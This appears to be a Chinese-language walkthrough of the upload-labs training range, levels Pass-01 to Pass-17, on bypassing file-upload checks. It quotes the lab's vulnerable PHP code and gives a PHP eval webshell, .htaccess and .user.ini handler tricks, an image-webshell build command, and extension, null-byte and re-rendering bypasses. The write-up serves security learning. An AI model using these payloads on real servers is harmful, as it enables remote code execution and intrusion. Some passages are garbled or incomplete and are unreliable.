目录
Pass-01(js前端验证)
Pass-02(MIME验证)
Pass-03(黑名单验证,特殊后缀)
Pass-04(黑名单验证,.htaccess)
Pass-05(黑名单验证,.user.ini.)
Pass-06(黑名单验证,大小写绕过)
Pass-07(黑名单验证,空格绕过)
Pass-08(黑名单验证,点号绕过)
Pass-09(黑名单验证,特殊字符::$DATA绕过)?
Pass-10(利用函数执行依次来绕过)
Pass-11(黑名单验证,双写绕过)
Pass-12(GET中00截断)
Pass-13(POST中00截断)
Pass-14(图片马unpack)
Pass-15(getimagesize图片马)
Pass-16(exif_imagetype图片马)
Pass-17(二次渲染绕过)
Pass-01(js前端验证)
function checkFile() {var file = document.getElementsByName('upload_file')[0].value;if (file == null || file == "") {alert("请选择要上传的文件!");return false;}//定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif";//提取上传文件的类型var ext_name = file.substring(file.lastIndexOf("."));//判断上传文件类型是否允许上传if (allow_ext.indexOf(ext_name + "|") == -1) {var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;alert(errMsg);return false;}
}
不能使用php文件,这里是前端绕过js过滤,有几种方式,但我还是只用能bp实现、
将包含webshell的php文件重命名为png,在上传的过程中使用bp拦截并修改后缀,实现绕过js验证
webshell内容:
<?php @eval($_POST['pass']); ?>
会显示上传成功,复制图片链接连蚁剑,蚁剑链接成功
Pass-02(MIME验证)
分析代码,可以看到,后端PHP代码只对content-type进行了检查 ,也就是说只需要将content-type改成其认可的就行,php文件可以正常传输
还是用bp实现,这次直接传入php文件即可
修改成 image/jpeg ,放包后成功上传
Pass-03(黑名单验证,特殊后缀)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
黑名单绕过
只针对黑名单中没有的后缀名,文件才能上传成功。
这一关禁止.jsp、.php、.asp、.aspx后缀名的文件上传,也禁止了点,空格等,可上传php1、php2、phtml、php5等等
依然是通过bp修改,
Pass-04(黑名单验证,.htaccess)
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空
这下禁止的后缀更多了
htaccess文件介绍:
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
其中.htaccess文件内容:
SetHandler application/x-httpd-php
设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行。不符合则报错。(.htaccess和一句话木马在同一目录下。)
然后再上传一个 1.jpg 此时1.jpg 就会被当作 PHP 来执行。
创建.htaccess并将其上传:(先在txt中输入一下代码,然后另存为.htaccess,类型选所有)
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
接下来构造图片马,1.jpg,最简单的构造1.php写入马后修改后缀即可
先上传.htaccess,再上传1.jpg,之后蚁剑连接
Pass-05(黑名单验证,.user.ini.)
相较于上题又禁用了htaccess ,提示也看不明白
知识补充:
.user.ini
类似于.htaccess但是应用范围更广,只要是以fastcgi运行的php都可以用它来动态的局部修改php.ini中的配置
创建一个.user.ini文件并把它上传,其内容为
auto_prepend_file=1.gif
.user.ini文件里面的意思是:所有的php文件都自动包含1.gif文件。.user.ini相当于一个用户自定义的php.ini。
然后再上传一个内容为php的一句话的脚本,命名为1.gif
<?php @eval($_POST['pass']); ?>
上传后可以等5分钟,因为配置文件时间为300秒(可以修改)
使用蚁剑连接readme.php
(此时该文件会自动包含1.gif
)
Pass-06(黑名单验证,大小写绕过)
没有使用strtolower()函数,可以使用大小写绕过黑名单
bp修改为PHP后缀即可
Pass-07(黑名单验证,空格绕过)
使用trim()去除空格,可以使用空格绕过黑名单
php前加个空格即可
Pass-08(黑名单验证,点号绕过)
没有使用deldot()过滤文件名末尾的点
,可以使用文件名后加.进行绕过
Pass-09(黑名单验证,特殊字符::$DATA绕过)
没有对::D A T A 进 行 处 理 , 可 以 使 用 : : DATA进行处理,可以使用::DATA进行处理,可以使用::DATA绕过黑名单
补充知识:php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。
上传PHP一句话文件,抓包,后缀加上::$DATA
连蚁剑时候不要::$DATA
Pass-10(利用函数执行依次来绕过)
(点 空格 点)绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}}
补充知识:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来
构造点空格点 . . ,这样可以绕过,但蚁剑连接php.
但是我还是没上传上去
Pass-11(黑名单验证,双写绕过)
补充知识:str_ireplace(find,replace,string,count) 函数替换字符串中的一些字符(不区分大小写)
使用str_ireplace()函数寻找文件名中存在的黑名单字符串,将它替换成空(即将它删掉),可以使用双写绕过黑名单
用bp改后缀为.pphphp(php替换为空后得到.php)
使用蚁剑连接.php
Pass-12(GET中00截断)
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上传出错!';
知识补充:
strrpos(string,find[,start]) 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。
substr(string,start[,length])函数返回字符串的一部分(从start开始 [,长度为length])
GET传值
白名单,只允许图片文件,能抓到包不是js前端的验证
使用%00截断
Pass-13(POST中00截断)
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传失败";
与上题不一样是POST传值
将Hex中的2b改成00,即+改空白了
放包
Pass-14(图片马unpack)
1,只读两个字节,所以可以先写一句文件头,也叫文件幻数,伪造文件头绕过
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){include $file;
}else{show_source(__file__);
}
?>
使用文件包含,包含进去这个webshell ,任意文件,都作为php文件解析执行。
蚁剑连接
2,生成图片马
- 在路径下准备好一句话木马.php和一张图片 .png (或者 .jpg )
- 输入系统指令:
copy 一张图片.png/b+一句话木马.php/a 生成图片名称.png
- 这样图片木马就合成好了
(/b是二进制形式打开 /a是ascii方式打开)
注意以下几点:
- 单纯的图片马并不能直接和蚁剑连接,
- 因为该文件依然是以image格式进行解析,
- 只有利用文件包含漏洞,才能成功利用该木马
- 所谓文件包含漏洞,是指在代码中引入其他文件作为php文件执行时,未对文件进行严格过滤,导致用户指定任意文件,都作为php文件解析执行。
上传这个pass,png文件,然后文件包含
Pass-15(getimagesize图片马)
function isImage($filename){$types = '.jpeg|.png|.gif';if(file_exists($filename)){$info = getimagesize($filename);$ext = image_type_to_extension($info[2]);if(stripos($types,$ext)>=0){return $ext;}else{return false;}}else{return false;}
}
通过使用getimagesize()检查是否为图片文件,所以还是可以用第十四关
的图片马绕过,并使用文件包含漏洞解析图片马
getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,成功返回一个数组,如果没有相关的图片文件头,函数会报错。
、
返回结果说明
索引 0 给出的是图像宽度的像素值
索引 1 给出的是图像高度的像素值
索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 <image> 标签所以这个函数要求必须上传图片。
image_type_to_extension ( int $imagetype [, bool $include_dot = TRUE ] ) — 根据指定的图像类型返回对应的后缀名。根据给定的常量 IMAGETYPE_XXX 返回后缀名。
参数:imagetype是IMAGETYPE_XXX 系列常量之一。include_dot指定是否在后缀名前加一个点。默认是 TRUE。
Pass-16(exif_imagetype图片马)
function isImage($filename){//需要开启php_exif模块$image_type = exif_imagetype($filename);switch ($image_type) {case IMAGETYPE_GIF:return "gif";break;case IMAGETYPE_JPEG:return "jpg";break;case IMAGETYPE_PNG:return "png";break; default:return false;break;}
}
这题和上面两个图片马的题一样,也是检查了文件的文件头格式这里使用的是exif_imagetype函数来判断方法个上面一样
Pass-17(二次渲染绕过)
这一关对上传图片进行了判断了后缀名
、content-type
,以及利用imagecreatefromgif
判断是否为gif
图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径$filename = $_FILES['upload_file']['name'];$filetype = $_FILES['upload_file']['type']; //Content-Type$tmpname = $_FILES['upload_file']['tmp_name'];$target_path=UPLOAD_PATH.'/'.basename($filename); //basename() 函数返回路径中的文件名部分。这里最后以原文件名保存了文件// 获得上传文件的扩展名$fileext= substr(strrchr($filename,"."),1); //strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。//判断文件后缀与类型,合法才进行上传操作if(($fileext == "jpg") && ($filetype=="image/jpeg")){ //判断文件后缀和Content-Typeif(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromjpeg($target_path); //imagecreatefromjpeg() — 由jpg文件或 URL 创建一个新图象。成功则返回一图像标识符,代表了从给定的文件名取得的图像。失败返回false,即不是jpgif($im == false){$msg = "该文件不是jpg格式的图片!";@unlink($target_path); //unlink(filename)函数删除文件。 即如果判断到不是jpg则删除该文件}else{//给新图片指定文件名srand(time()); $newfilename = strval(rand()).".jpg"; //strval() 函数用于获取变量的字符串值。//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagejpeg($im,$img_path); //imagejpeg ($image ,$filename)— 输出图象到浏览器或文件,即从 image 图像以 filename 为文件名创建一个 JPEG 图像。即二次渲染。从这里看出最终保存的是经过二次渲染之后的图片,@unlink($target_path); //删除原文件$is_upload = true;}} else {$msg = "上传出错!";}//一下的代码审计与上面一样}else if(($fileext == "png") && ($filetype=="image/png")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefrompng($target_path);if($im == false){$msg = "该文件不是png格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".png";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagepng($im,$img_path); //二次渲染@unlink($target_path);$is_upload = true; }} else {$msg = "上传出错!";}}else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromgif($target_path);if($im == false){$msg = "该文件不是gif格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".gif";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagegif($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else{$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";}}
补充知识:
二次渲染:后端重写文件内容
basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名
strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像
对于做文件上传之二次渲染建议用GIF图片,相对于简单一点
上传正常的GIF图片下载回显的图片,用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,上传带有PHP一句话木马的GIF图片